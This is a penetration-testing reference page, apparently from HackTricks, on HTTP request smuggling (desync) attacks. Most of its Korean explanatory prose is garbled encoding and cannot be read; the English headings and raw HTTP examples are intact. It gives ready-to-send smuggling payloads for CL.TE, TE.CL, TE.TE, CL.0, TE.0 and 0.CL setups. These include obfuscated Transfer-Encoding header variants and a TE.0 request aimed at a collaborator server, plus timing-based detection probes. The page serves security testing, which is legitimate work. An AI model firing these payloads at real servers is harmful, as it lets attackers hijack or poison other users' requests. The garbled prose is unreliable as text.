HTTP Request Smuggling / HTTP Desync Attack
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
์ด ์ทจ์ฝ์ ์ ํ๋ก ํธ์๋ ํ๋ก์์ ๋ฐฑ์๋ ์๋ฒ ์ฌ์ด์ ๋๊ธฐํ ๋ถ์ผ์น๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ ํ๋ก ํธ์๋(๋ก๋๋ฐธ๋ฐ์/๋ฆฌ๋ฒ์ค ํ๋ก์)์์๋ ๋จ์ผ ์์ฒญ์ผ๋ก, ๋ฐฑ์๋์์๋ 2๊ฐ์ ์์ฒญ์ผ๋ก ํด์๋๋ HTTP ์์ฒญ์ ์ ์กํ ์ ์์ ๋ ๋ฐ์ํฉ๋๋ค.
์ด๋ก ์ธํด ์ฌ์ฉ์๋ ์์ ์ ์์ฒญ ๋ค์์ ๋ฐฑ์๋์ ๋์ฐฉํ๋ ์์ฒญ์ ์์ ํ ์ ์๊ฒ ๋ฉ๋๋ค.
์ด๋ก
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
ํ์ค
ํ๋ก ํธ์๋(๋ก๋๋ฐธ๋ฐ์ / ๋ฆฌ๋ฒ์ค ํ๋ก์)๋ Content-Length ๋๋ Transfer-Encoding ํค๋๋ฅผ ์ฒ๋ฆฌํ๊ณ , ๋ฐฑ์๋ ์๋ฒ๋ ๋ค๋ฅธ ํค๋๋ฅผ ์ฒ๋ฆฌํ์ฌ ๋ ์์คํ
๊ฐ์ ๋๊ธฐํ ๋ถ์ผ์น๋ฅผ ์ผ์ผํฌ ์ ์์ต๋๋ค.
์ด๊ฒ์ ๋งค์ฐ ์น๋ช
์ ์ผ ์ ์๋๋ฐ, ๊ณต๊ฒฉ์๋ ๋ฆฌ๋ฒ์ค ํ๋ก์์ ํ๋์ ์์ฒญ์ ๋ณด๋ด์ ๋ฐฑ์๋๊ฐ ์ด๋ฅผ ๋ ๊ฐ์ ์๋ก ๋ค๋ฅธ ์์ฒญ์ผ๋ก ํด์ํ๊ฒ ๋ง๋ค ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ์ด ๊ธฐ๋ฒ์ ์ํ์ฑ์ ๋ฐฑ์๋๊ฐ ์ฃผ์
๋ ๋ ๋ฒ์งธ ์์ฒญ์ ๋ค์ ํด๋ผ์ด์ธํธ๋ก๋ถํฐ ์จ ๊ฒ์ฒ๋ผ ์ฒ๋ฆฌํ๊ณ , ๊ทธ ํด๋ผ์ด์ธํธ์ ์ค์ ์์ฒญ์ด ์ฃผ์
๋ ์์ฒญ์ ์ผ๋ถ๊ฐ ๋์ด๋ฒ๋ฆฐ๋ค๋ ์ ์ ์์ต๋๋ค.
์ธ๋ถ์ฌํญ
HTTP์์ **์ ์ค ๋ฌธ์(new line)**๋ 2๋ฐ์ดํธ๋ก ๊ตฌ์ฑ๋๋ค๋ ๊ฒ์ ๊ธฐ์ตํ์ธ์(์ฆ CRLF).
- Content-Length: ์ด ํค๋๋ ์์ฒญ ๋ณธ๋ฌธ์ ๋ฐ์ดํธ ์๋ฅผ ์ญ์ง์๋ก ํ์ํฉ๋๋ค. ๋ณธ๋ฌธ์ ๋ง์ง๋ง ๋ฌธ์์์ ๋๋๋ ๊ฒ์ผ๋ก ๊ธฐ๋๋๋ฉฐ, ์์ฒญ ๋์ ์ถ๊ฐ์ ์ธ ์ ์ค์ด ํ์ํ์ง ์์ต๋๋ค.
- Transfer-Encoding: ์ด ํค๋๋ ๋ณธ๋ฌธ์์ ๋ค์ ์ฒญํฌ์ ํฌ๊ธฐ๋ฅผ 16์ง์๋ก ํ์ํฉ๋๋ค. ๊ฐ ์ฒญํฌ๋ ์ ์ค๋ก ๋๋์ผ ํ์ง๋ง ์ด ์ ์ค์ ๊ธธ์ด ํ์์์ ๊ณ์ฐ๋์ง ์์ต๋๋ค. ์ด ์ ์ก ๋ฐฉ์์ ํฌ๊ธฐ๊ฐ 0์ธ ์ฒญํฌ ๋ค์ 2๊ฐ์ ์ ์ค๋ก ๋๋์ผ ํฉ๋๋ค:
0 - Connection: ๊ฒฝํ์ request smuggling์ ์๋ํ ๋ ์ฒซ ์์ฒญ์์๋
Connection: keep-alive๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
Visible - Hidden
HTTP/1.1์ ์ฃผ์ ๋ฌธ์ ๋ ๋ชจ๋ ์์ฒญ์ด ๋์ผํ TCP ์์ผ์ผ๋ก ๊ฐ๊ธฐ ๋๋ฌธ์, ๋ ์์คํ ์ด ์์ฒญ์ ๋ฐ๋ ๋ฐฉ์์ ์ฐจ์ด๊ฐ ์์ผ๋ฉด ํ๋์ ์์ฒญ์ ์ต์ข ๋ฐฑ์๋(๋๋ ์ค๊ฐ ์์คํ )์์ ์๋ก ๋ค๋ฅธ ์ฌ๋ฌ ์์ฒญ์ผ๋ก ์ฒ๋ฆฌ๋๊ฒ ํ ์ ์๋ค๋ ์ ์ ๋๋ค.
This blog post์์๋ WAF์ ์ํด ํ์ง๋์ง ์๋ ์์คํ ์ desync ๊ณต๊ฒฉ์ ์๋กญ๊ฒ ํ์งํ ๋ฐฉ๋ฒ์ ์ ์ํฉ๋๋ค. ์ด๋ฅผ ์ํด Visible vs Hidden ํ๋์ ์๊ฐํฉ๋๋ค. ์ด ๊ฒฝ์ฐ์ ๋ชฉํ๋ ์ค์ ๋ก ์๋ฌด ๊ฒ๋ ์ต์คํ๋ก์ํ์ง ์๊ณ desync๋ฅผ ์ ๋ฐํ ์ ์๋ ๊ธฐ๋ฒ๋ค์ ์ฌ์ฉํด ์๋ต์ ๋ถ์ผ์น๋ฅผ ์ฐพ๋ ๊ฒ์ ๋๋ค.
์๋ฅผ ๋ค์ด, ์ ์์ ์ธ Host ํค๋์ โ hostโ ํค๋๋ฅผ ํจ๊ป ์ ์กํ์ ๋ ๋ฐฑ์๋๊ฐ ์ด ์์ฒญ์ ๋ํด ๋ถํ(์: โ hostโ ๊ฐ์ด ์ฌ๋ฐ๋ฅด์ง ์์์)์ ํ๋ค๋ฉด, ์ด๋ ํ๋ก ํธ์๋๊ฐ โ hostโ ํค๋๋ฅผ ๋ฌด์ํ์ง๋ง ์ต์ข ๋ฐฑ์๋๋ ์ด๋ฅผ ์ฌ์ฉํ์์ ์๋ฏธํ ์ ์์ผ๋ฉฐ, ํ๋ก ํธ์๋์ ๋ฐฑ์๋ ์ฌ์ด์ desync๋ฅผ ๊ฐํ๊ฒ ์์ฌํฉ๋๋ค.
์ด๊ฒ์ Hidden-Visible ๋ถ์ผ์น๊ฐ ๋ฉ๋๋ค.
๋ฐ๋๋ก ํ๋ก ํธ์๋๊ฐ โ hostโ ํค๋๋ฅผ ์ฒ๋ฆฌํ์ง๋ง ๋ฐฑ์๋๊ฐ ์ฒ๋ฆฌํ์ง ์์๋ค๋ฉด, ์ด๋ Visible-Hidden ์ํฉ์ ํด๋นํฉ๋๋ค.
์๋ฅผ ๋ค์ด, AWS ALB(ํ๋ก ํธ์๋)์ IIS(๋ฐฑ์๋) ์ฌ์ด์ desync๋ ์ด๋ฐ ๋ฐฉ์์ผ๋ก ๋ฐ๊ฒฌ๋์์ต๋๋ค. โHost: foo/barโ๋ฅผ ๋ณด๋์ ๋ ALB๋ 400, Server; awselb/2.0์ ๋ฐํํ์ผ๋, โHost : foo/barโ๋ฅผ ๋ณด๋์ ๋๋ 400, Server: Microsoft-HTTPAPI/2.0์ ๋ฐํํ์ฌ ๋ฐฑ์๋๊ฐ ์๋ต์ ๋ณด๋ด๊ณ ์์์ ๋ํ๋์ต๋๋ค. ์ด๋ Hidden-Visible (H-V) ์ํฉ์
๋๋ค.
์ด ์ํฉ์ AWS์์ ์ฆ์ ์์ ๋์ง๋ ์์์ง๋ง, routing.http.drop_invalid_header_fields.enabled๋ฅผ ์ค์ ํ๊ณ routing.http.desync_mitigation_mode = strictest๋ก ์ค์ ํ๋ฉด ๋ฐฉ์งํ ์ ์์ต๋๋ค.
๊ธฐ๋ณธ ์์
Tip
Burp Suite๋ก ์ด๋ฅผ ์ต์คํ๋ก์ํ๋ ค๊ณ ํ ๋๋ repeater์์ **
Update Content-Length**์Normalize HTTP/1 line endings๋ฅผ ๋นํ์ฑํํ์ธ์. ์ผ๋ถ gadget์ ๊ฐํ, ์บ๋ฆฌ์ง ๋ฆฌํด ๋ฐ ์๋ชป๋ content-length๋ฅผ ์ ์ฉํฉ๋๋ค.
HTTP request smuggling ๊ณต๊ฒฉ์ front-end์ back-end ์๋ฒ๊ฐ Content-Length(CL)์ Transfer-Encoding(TE) ํค๋๋ฅผ ํด์ํ๋ ๋ฐฉ์์ ๋ถ์ผ์น๋ฅผ ์ด์ฉํด ๋ชจํธํ ์์ฒญ์ ์ ์กํจ์ผ๋ก์จ ๋ง๋ค์ด์ง๋๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ ์ฃผ๋ก CL.TE, TE.CL, TE.TE ํํ๋ก ๋ํ๋ฉ๋๋ค. ๊ฐ ์ ํ์ ํ๋ก ํธ์๋์ ๋ฐฑ์๋๊ฐ ์ด๋ฌํ ํค๋๋ฅผ ์ฐ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ๊ณ ์ ํ ์กฐํฉ์ ๋ํ๋
๋๋ค. ์ทจ์ฝ์ ์ ๋์ผํ ์์ฒญ์ ์๋ฒ๋ค์ด ๋ค๋ฅด๊ฒ ์ฒ๋ฆฌํ ๋ ๋ฐ์ํ๋ฉฐ, ์์์น ๋ชปํ ์
์์ ์ธ ๊ฒฐ๊ณผ๋ฅผ ์ด๋ํ ์ ์์ต๋๋ค.
์ทจ์ฝ์ ์ ํ์ ๊ธฐ๋ณธ ์์

Tip
์ด์ ํ์๋ TE.0 ๊ธฐ๋ฒ๋ ์ถ๊ฐํด์ผ ํฉ๋๋ค. ์ด๋ CL.0 ๊ธฐ๋ฒ๊ณผ ์ ์ฌํ์ง๋ง Transfer-Encoding์ ์ฌ์ฉํฉ๋๋ค.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL):
Content-Lengthํค๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค. -
Back-End (TE):
Transfer-Encodingํค๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค. -
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
-
๊ณต๊ฒฉ์๋
Content-Lengthํค๋ ๊ฐ์ด ์ค์ ์ฝํ ์ธ ๊ธธ์ด์ ์ผ์นํ์ง ์๋ ์์ฒญ์ ๋ณด๋ ๋๋ค. -
ํ๋ก ํธ์๋๋
Content-Length๊ฐ์ ๋ฐ๋ผ ์ ์ฒด ์์ฒญ์ ๋ฐฑ์๋๋ก ์ ๋ฌํฉ๋๋ค. -
๋ฐฑ์๋๋
Transfer-Encoding: chunkedํค๋ ๋๋ฌธ์ ์์ฒญ์ ์ฒญํฌ ํ์์ผ๋ก ์ฒ๋ฆฌํ์ฌ ๋จ์ ๋ฐ์ดํฐ๋ฅผ ๋ณ๋์ ํ์ ์์ฒญ์ผ๋ก ํด์ํฉ๋๋ค. -
์์:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE):
Transfer-Encodingํค๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค. -
Back-End (CL):
Content-Lengthํค๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค. -
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
-
๊ณต๊ฒฉ์๋ ์ฒญํฌ ํฌ๊ธฐ(
7b)์ ์ค์ ์ฝํ ์ธ ๊ธธ์ด(Content-Length: 4)๊ฐ ์ผ์นํ์ง ์๋ chunked ์์ฒญ์ ์ ์กํฉ๋๋ค. -
ํ๋ก ํธ์๋๋
Transfer-Encoding์ ์ค์ํ์ฌ ์ ์ฒด ์์ฒญ์ ๋ฐฑ์๋๋ก ์ ๋ฌํฉ๋๋ค. -
๋ฐฑ์๋๋
Content-Length๋ฅผ ์กด์คํ์ฌ ์์ฒญ์ ์ฒ์ ๋ถ๋ถ(์ง์ ๋ ๋ฐ์ดํธ ์)๋ง ์ฒ๋ฆฌํ๊ณ , ๋๋จธ์ง๋ ์๋์น ์์ ํ์ ์์ฒญ์ ์ผ๋ถ๋ก ๋จ๊น๋๋ค. -
์์:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
์๋ฒ๋ค: ๋ ๋ค
Transfer-Encoding์ ์ง์ํ์ง๋ง ํ๋๋ ๋๋ ํ๋ก ์ธํด ์ด๋ฅผ ๋ฌด์ํ๋๋ก ์ ๋๋ ์ ์์ต๋๋ค. -
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
-
๊ณต๊ฒฉ์๋ ๋๋ ํ๋
Transfer-Encodingํค๋๋ค์ ํฌํจํ ์์ฒญ์ ๋ณด๋ ๋๋ค. -
์ด๋ ์๋ฒ(ํ๋ก ํธ์๋ ๋๋ ๋ฐฑ์๋)๊ฐ ๋๋ ํ๋ฅผ ์ธ์ํ์ง ๋ชปํ๋๋์ ๋ฐ๋ผ CL.TE ๋๋ TE.CL ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์์ต๋๋ค.
-
ํ ์๋ฒ๊ฐ ์ฒ๋ฆฌํ์ง ์์ ์์ฒญ์ ์ผ๋ถ๋ ๋ค๋ฅธ ์๋ฒ์์ ํ์ ์์ฒญ์ ์ผ๋ถ๊ฐ ๋์ด smuggling์ ์ด๋ํฉ๋๋ค.
-
์์:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- ๋ ์๋ฒ ๋ชจ๋
Content-Lengthํค๋๋ง์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํฉ๋๋ค. - ์ด ์๋๋ฆฌ์ค๋ ๋ณดํต smuggling์ผ๋ก ์ด์ด์ง์ง ์๋๋ฐ, ์ด๋ ๋ ์๋ฒ๊ฐ ์์ฒญ ๊ธธ์ด๋ฅผ ์ผ์นํ๊ฒ ํด์ํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
- ์์:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
Content-Lengthํค๋๊ฐ ์กด์ฌํ๊ณ 0์ด ์๋ ๊ฐ์ ๊ฐ์ง๋ฉฐ, ์ด๋ ์์ฒญ ๋ณธ๋ฌธ์ ๋ด์ฉ์ด ์์์ ๋ํ๋ด๋ ์๋๋ฆฌ์ค๋ฅผ ๋งํฉ๋๋ค. ๋ฐฑ์๋๋Content-Lengthํค๋๋ฅผ ๋ฌด์(0์ผ๋ก ์ฒ๋ฆฌ)ํ์ง๋ง ํ๋ก ํธ์๋๋ ์ด๋ฅผ ํ์ฑํ๋ ๊ฒฝ์ฐ์ ๋๋ค.- ์ด๋ smuggling ๊ณต๊ฒฉ์ ์ดํดํ๊ณ ๊ตฌ์ฑํ ๋ ์ค์ํฉ๋๋ค. ์๋ํ๋ฉด ์๋ฒ๋ค์ด ์์ฒญ์ ๋์ ๊ฒฐ์ ํ๋ ๋ฐฉ์์ ์ํฅ์ ์ฃผ๊ธฐ ๋๋ฌธ์ ๋๋ค.
- ์์:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- ์์ CL.0๊ณผ ์ ์ฌํ์ง๋ง TE๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ์ ๋๋ค.
- Technique reported here
- ์์:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL ์๋๋ฆฌ์ค
0.CL ์ํฉ์์๋ ๋ค์๊ณผ ๊ฐ์ด Content-Length๋ฅผ ๊ฐ์ง ์์ฒญ์ด ์ ์ก๋ฉ๋๋ค:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
๊ทธ๋ฆฌ๊ณ front-end๋ Content-Length๋ฅผ ๊ณ ๋ คํ์ง ์์์ ์์์์ 7๊น์ง(์ฆ ์ฒซ ๋ฒ์งธ ์์ฒญ๊น์ง๋ง) backend๋ก request๋ฅผ ๋ณด๋ธ๋ค. ๊ทธ๋ฌ๋ backend๋ Content-Length๋ฅผ ๋ณด๊ณ ๋ณธ๋ฌธ(body)์ ๊ธฐ๋ค๋ฆฌ๋๋ฐ, front-end๋ ์ด๋ฏธ response๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ณ ์๊ธฐ ๋๋ฌธ์ ๊ทธ ๋ณธ๋ฌธ์ ๊ฒฐ์ฝ ๋์ฐฉํ์ง ์๋๋ค.
ํ์ง๋ง backend์ ๋ณด๋ผ ์ ์๋ ์์ฒญ ์ค ์์ฒญ ๋ณธ๋ฌธ์ ๋ฐ๊ธฐ ์ ์ ์๋ต์ ๋ฐํํ๋ ๊ฒ์ด ์์ผ๋ฉด ์ด deadlock์ ๋ฐ์ํ์ง ์๋๋ค. ์๋ฅผ ๋ค์ด IIS์์๋ /con ๊ฐ์ ๊ธ์ง๋ ์ด๋ฆ์ผ๋ก ์์ฒญ์ ๋ณด๋ด๋ฉด(์์ธํ ๋ด์ฉ์ documentation ์ฐธ์กฐ), ์ด๊ธฐ ์์ฒญ์ ๋ฐ๋ก ์๋ต๋๊ณ ๋ ๋ฒ์งธ ์์ฒญ์ ํผํด์์ ์์ฒญ์ ํฌํจํ๊ฒ ๋๋ค:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
์ด๋ desync๋ฅผ ์ผ์ผํค๋ ๋ฐ ์ ์ฉํ์ง๋ง, ์ง๊ธ๊น์ง๋ ์๋ฌด ์ํฅ์ด ์์์ต๋๋ค.
However, the post offers a solution for this by converting a 0.CL attack into a CL.0 with a double desync.
์น ์๋ฒ ์ค๋จ
์ด ๊ธฐ๋ฒ์ ์ด๊ธฐ HTTP ๋ฐ์ดํฐ๋ฅผ ์ฝ๋ ๋์ ์น ์๋ฒ๋ฅผ ์์์ํฌ ์ ์์ง๋ง ๋์์ ์ฐ๊ฒฐ์ ๋ซ์ง ์๋ ์ํฉ์์๋ ์ ์ฉํฉ๋๋ค. ์ด๋ ๊ฒ ๋๋ฉด HTTP ์์ฒญ์ body๊ฐ ๋ค์ HTTP ์์ฒญ์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request wonโt be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.
hop-by-hop headers๋ฅผ ํตํ ๊ฐ์
hop-by-hop headers๋ฅผ ์ ์ฉํ๋ฉด ํ๋ก์์๊ฒ delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.
Connection: Content-Length
For more information about hop-by-hop headers visit:
HTTP Request Smuggling ์ฐพ๊ธฐ
HTTP request smuggling ์ทจ์ฝ์ ์ ์๋ณํ๋ ๊ฒ์ ์ข ์ข ํ์ด๋ฐ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ฌ ๋ฌ์ฑํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ฒ๋ค์ ๋ณ์กฐ๋ ์์ฒญ์ ๋ํด ์๋ฒ๊ฐ ์๋ตํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ๊ด์ฐฐํ๋ ๊ฒ์ ๊ธฐ๋ฐํฉ๋๋ค. ์ด๋ฌํ ๋ฐฉ๋ฒ๋ค์ CL.TE ๋ฐ TE.CL ์ทจ์ฝ์ ์ ํ์งํ๋ ๋ฐ ํนํ ์ ์ฉํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ๋ค ์ธ์๋ ์ด๋ฌํ ์ทจ์ฝ์ ์ ์ฐพ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ค๋ฅธ ์ ๋ต๊ณผ ๋๊ตฌ๋ค์ด ์์ต๋๋ค:
CL.TE ์ทจ์ฝ์ ์ฐพ๊ธฐ (ํ์ด๋ฐ ๊ธฐ๋ฒ ์ฌ์ฉ)
-
๋ฐฉ๋ฒ:
-
์ ํ๋ฆฌ์ผ์ด์ ์ด ์ทจ์ฝํ ๊ฒฝ์ฐ ๋ฐฑ์๋ ์๋ฒ๊ฐ ์ถ๊ฐ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ฒ ๋ง๋๋ ์์ฒญ์ ์ ์กํฉ๋๋ค.
-
์:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
๊ด์ฐฐ:
-
ํ๋ก ํธ์๋ ์๋ฒ๋
Content-Length๋ฅผ ๊ธฐ์ค์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํ๊ณ ๋ฉ์์ง๋ฅผ ์กฐ๊ธฐ์ ์๋ผ๋ ๋๋ค. -
๋ฐฑ์๋ ์๋ฒ๋ chunked ๋ฉ์์ง๋ฅผ ๊ธฐ๋ํ๊ณ ์๊ธฐ ๋๋ฌธ์ ๋ค์ chunk๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ฉฐ ์๋ต ์ง์ฐ์ด ๋ฐ์ํฉ๋๋ค.
-
์งํ:
-
ํ์์์ ๋๋ ๊ธด ์๋ต ์ง์ฐ.
-
๋๋ก๋ ์์ธํ ์๋ฒ ์ ๋ณด์ ํจ๊ป ๋ฐฑ์๋ ์๋ฒ๋ก๋ถํฐ 400 Bad Request ์ค๋ฅ๋ฅผ ์์ .
TE.CL ์ทจ์ฝ์ ์ฐพ๊ธฐ (ํ์ด๋ฐ ๊ธฐ๋ฒ ์ฌ์ฉ)
-
๋ฐฉ๋ฒ:
-
์ ํ๋ฆฌ์ผ์ด์ ์ด ์ทจ์ฝํ ๊ฒฝ์ฐ ๋ฐฑ์๋ ์๋ฒ๊ฐ ์ถ๊ฐ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ฒ ๋ง๋๋ ์์ฒญ์ ์ ์กํฉ๋๋ค.
-
์:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- ๊ด์ฐฐ:
- ํ๋ก ํธ์๋ ์๋ฒ๋
Transfer-Encoding์ ๊ธฐ์ค์ผ๋ก ์์ฒญ์ ์ฒ๋ฆฌํ๊ณ ์ ์ฒด ๋ฉ์์ง๋ฅผ ์ ๋ฌํฉ๋๋ค. - ๋ฐฑ์๋ ์๋ฒ๋
Content-Length๊ธฐ๋ฐ์ ๋ฉ์์ง๋ฅผ ๊ธฐ๋ํ๊ณ ์ถ๊ฐ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ธฐ ๋๋ฌธ์ ์ง์ฐ์ด ๋ฐ์ํฉ๋๋ค.
์ทจ์ฝ์ ๋ฐ๊ฒฌ์ ์ํ ๊ธฐํ ๋ฐฉ๋ฒ
- ์ฐจ๋ฑ ์๋ต ๋ถ์:
- ์์ฒญ์ ์ฝ๊ฐ์ฉ ๋ค๋ฅธ ๋ฒ์ ์ ์ ์กํ๊ณ ์๋ฒ ์๋ต์ด ์์์น ๋ชปํ๊ฒ ๋ค๋ฅด๊ฒ ๋ํ๋๋์ง ๊ด์ฐฐํ์ฌ ํ์ฑ ๋ถ์ผ์น๋ฅผ ์๋ณํฉ๋๋ค.
- ์๋ํ ๋๊ตฌ ์ฌ์ฉ:
- Burp Suite์ โHTTP Request Smugglerโ ๊ฐ์ ๋๊ตฌ๋ ๋ค์ํ ํํ์ ๋ชจํธํ ์์ฒญ์ ์๋์ผ๋ก ์ ์กํ๊ณ ์๋ต์ ๋ถ์ํ์ฌ ์ด๋ฌํ ์ทจ์ฝ์ ์ ํ ์คํธํ ์ ์์ต๋๋ค.
- Content-Length ๋ณ๋ ํ ์คํธ:
- ์ค์ ์ฝํ
์ธ ๊ธธ์ด์ ์ผ์นํ์ง ์๋ ๋ค์ํ
Content-Length๊ฐ์ ๊ฐ์ง ์์ฒญ์ ์ ์กํ๊ณ ์๋ฒ๊ฐ ์ด๋ฌํ ๋ถ์ผ์น๋ฅผ ์ด๋ป๊ฒ ์ฒ๋ฆฌํ๋์ง ๊ด์ฐฐํฉ๋๋ค. - Transfer-Encoding ๋ณํ ํ ์คํธ:
- ๋ชจํธํ๊ฑฐ๋ ์์๋
Transfer-Encodingํค๋๋ฅผ ๊ฐ์ง ์์ฒญ์ ๋ณด๋ด ํ๋ก ํธ์๋์ ๋ฐฑ์๋ ์๋ฒ๊ฐ ์ด๋ฌํ ์กฐ์์ ๋ํด ์ด๋ป๊ฒ ๋ค๋ฅด๊ฒ ๋ฐ์ํ๋์ง ๋ชจ๋ํฐ๋งํฉ๋๋ค.
The Expect: 100-continue header
์ด ํค๋๊ฐ http desync๋ฅผ ์ ์ฉํ๋ ๋ฐ ์ด๋ป๊ฒ ๋์์ด ๋๋์ง ํ์ธํ์ธ์:
HTTP Request Smuggling ์ทจ์ฝ์ ํ ์คํธ
ํ์ด๋ฐ ๊ธฐ๋ฒ์ ์ ํจ์ฑ์ ํ์ธํ ํ์๋ ํด๋ผ์ด์ธํธ ์์ฒญ์ ์กฐ์ํ ์ ์๋์ง ๊ฒ์ฆํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ๊ฐ๋จํ ๋ฐฉ๋ฒ์ ์์ฒญ์ poisoningํ๋ ค ์๋ํ๋ ๊ฒ์ผ๋ก, ์๋ฅผ ๋ค์ด /์ ๋ํ ์์ฒญ์ด 404 ์๋ต์ ๋ฐํํ๋๋ก ๋ง๋๋ ๊ฒ์
๋๋ค. ์์ Basic Examples์์ ๋ค๋ฃฌ CL.TE ๋ฐ TE.CL ์์ ๋ค์ ํด๋ผ์ด์ธํธ๊ฐ ๋ค๋ฅธ ๋ฆฌ์์ค์ ์ ๊ทผํ๋ ค๊ณ ํด๋ ํด๋ผ์ด์ธํธ์ ์์ฒญ์ poisoningํ์ฌ 404 ์๋ต์ ์ ๋ํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
์ฃผ์ ๊ณ ๋ ค์ฌํญ
๋ค๋ฅธ ์์ฒญ์ ๋ฐฉํดํ์ฌ request smuggling์ ํ ์คํธํ ๋ ๋ค์์ ์ ์ํ์ธ์:
- Distinct Network Connections: โattackโ ์์ฒญ๊ณผ โnormalโ ์์ฒญ์ ๋ณ๋์ ๋คํธ์ํฌ ์ฐ๊ฒฐ์ ํตํด ์ ์ก๋์ด์ผ ํฉ๋๋ค. ๋์ผํ ์ฐ๊ฒฐ์ ์ฌ์ฉํ๋ฉด ์ทจ์ฝ์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ๊ฒ์ฆํ ์ ์์ต๋๋ค.
